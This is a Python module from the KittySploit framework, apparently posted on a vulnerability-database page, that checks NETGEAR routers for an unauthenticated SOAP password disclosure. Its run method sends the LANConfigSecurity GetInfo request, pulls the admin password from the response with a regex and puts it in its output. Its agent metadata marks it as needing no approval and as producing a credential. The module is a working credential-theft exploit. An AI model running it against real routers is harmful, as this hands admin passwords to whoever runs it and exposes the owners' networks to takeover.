NETGEAR - SOAP Password Disclosure Detection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NETGEAR SOAP LANConfigSecurity password disclosure."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'NETGEAR - SOAP Password Disclosure Detection',
'description': (
'Detects NETGEAR router unauthenticated SOAP GetInfo disclosure that returns '
'admin NewPassword via LANConfigSecurity.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'netgear', 'router', 'info-disclosure', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'credential', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://www.exploit-db.com/exploits/36124',
],
}
def run(self):
r = self.http_request(
method='POST',
path='/',
data='=',
headers={
'Soapaction': 'urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo',
'Content-Type': 'application/x-www-form-urlencoded',
},
allow_redirects=False,
)
if not r or r.status_code != 200:
return False
body = r.text or ''
if 'GetInfoResponse' not in body or 'NewPassword' not in body:
return False
m = re.search(r'<NewPassword>([^<]+)</NewPassword>', body)
if m:
self.set_info(
severity='critical',
reason=f'NETGEAR SOAP password disclosure ({m.group(1)})',
path='/',
)
return True
return False
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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8